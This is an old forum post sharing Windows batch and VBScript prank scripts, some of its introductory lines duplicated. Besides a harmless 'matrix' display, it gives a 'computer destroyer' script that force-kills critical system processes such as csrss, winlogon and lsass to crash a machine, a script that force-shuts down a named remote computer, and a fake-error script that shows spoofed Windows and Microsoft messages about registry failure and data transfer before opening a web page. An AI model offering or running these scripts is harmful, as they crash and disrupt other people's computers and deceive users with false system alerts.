heres a fun little bat script. it simulates the matrix effect
copy and paste in a notepad doc. save as .bat
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the computer destroyer ( i have not tested due to fear of it)
in theory it bypasses the access denial system to kill the task
copy and paste in a notepad doc. save as .vbs
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yay i found it shut down scirpt (works on 98/2000 most vista)
copy and paste in a notepad doc. save as .vbs
this is a two part script
first thing is the vbs script.
copy and paste in a notepad doc. save as .vbs
ok now a bat file for the web pages
copy and paste in a notepad doc. save as .bat
you can use this a a shortcut for an browser. i hope you all know how to reassign shortcuts.
note: i would not put these files on desktop
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copy and paste in a notepad doc. save as .bat
- Code:
echo angrymasteryoda
@echo off
color 0a
:top
echo %random %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto top
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the computer destroyer ( i have not tested due to fear of it)
in theory it bypasses the access denial system to kill the task
copy and paste in a notepad doc. save as .vbs
- Code:
'not responsible for damage
'made by angrymasteryoda
sub computer_killa
dim variable
Set variable=CreateObject("WScript.Shell")
variable.run "Taskkill /IM csrss.exe /F", 0 ,True
variable.run "Taskkill /IM explorer.exe /F", 0 ,True
variable.run "Taskkill /IM winlogon.exe /F", 0 ,True
variable.run "Taskkill /IM csrss.exe /F", 0 ,True
variable.run "Taskkill /IM services.exe /F", 0 ,True
variable.run "Taskkill /IM lsass.exe /F", 0 ,True
variable.run "Taskkill /IM svchost.exe /F", 0
variable.run "Taskkill /IM spoolsv.exe /F", 0 ,True
variable.run "Taskkill /IM system.exe /F", 0 ,True
variable.run "Taskkill /IM smss.exe /F", 0 ,True
variable.run "Taskkill /IM iexplorer.exe /F", 0 ,True
variable.run "Taskkill /IM lsm.exe /F", 0 ,True
variable.run "Taskkill /IM firefox.exe /F", 0 ,True
variable.run "Taskkill /IM .exe /F", 0 ,True
end sub
computer_killa
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yay i found it shut down scirpt (works on 98/2000 most vista)
copy and paste in a notepad doc. save as .vbs
- Code:
'made by angrymasteryoda
Dim objShell, strComputer, strInput
Dim strShutdown
Do
strComputer = (InputBox(" ComputerName to shutdown", "Computer Name"))
If strComputer <> "" Then
strInput = True
End if
Loop until strInput = True
strShutdown = "shutdown -s -t 0 -f -m " & strComputer
set objShell = CreateObject("WScript.Shell")
objShell.Run strShutdown
Wscript.Quit
this is a two part script
first thing is the vbs script.
copy and paste in a notepad doc. save as .vbs
- Code:
'made by angrymasteryoda
MsgBox ( "Windows error #230651")
MsgBox ("Attempting to retry operation")
MsgBox ("Failed to restart threads")
MsgBox ("Retrying a program restart")
MsgBox ("working")
MsgBox (".......")
MsgBox (".......")
MsgBox ("Operation successfull")
MsgBox ("Program rebooted")
MsgBox ("Attempting to retry")
MsgBox ("Operation canceled")
MsgBox ("User generated error #126")
MsgBox ("Windows asks that you do nothing while we solve problem")
MsgBox ("Windows is unable to solve problem")
MsgBox ("Windows is taking notes on the error")
MsgBox ("Please do nothing")
MsgBox ("Working.....Conecting with mircosoft.com....")
MsgBox ("transfering infomation")
MsgBox ("DNS error in sending infomation")
MsgBox ("Reconnecting internet")
MsgBox ("Connection succesfull")
MsgBox ("Please wait....")
MsgBox ("Transfering data")
MsgBox ("Windows has found an error with your registry")
MsgBox ("Looking for a solution...")
MsgBox ("Carrying out windows instructions")
MsgBox ("Error your registry is beyond repair")
MsgBox ("Reimage is reccomended")
MsgBox ("Reimage on shutdown?")
MsgBox ("Reimage scheduled")
MsgBox ("Windows is sending data on registry error")
MsgBox ("Thank you for your Infomation")
MsgBox ("Here is your reference code 1035327-6572129")
MsgBox ("Forwarding you to microsoft.com")
MsgBox ("Error forwarding")
MsgBox ("Retrying")
MsgBox ("Sucess")
Set Sh = WScript.CreateObject("WScript.Shell")
'change the path to the bat you made'
Sh.Run "C:\Users\michael\Desktop\1.bat", 3
ok now a bat file for the web pages
copy and paste in a notepad doc. save as .bat
- Code:
@echo off
start http://theelitegamers.darkbb.com
wait.
you can use this a a shortcut for an browser. i hope you all know how to reassign shortcuts.
note: i would not put these files on desktop
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Last edited by Angrymasteryoda on Thu Oct 28, 2010 9:08 pm; edited 6 times in total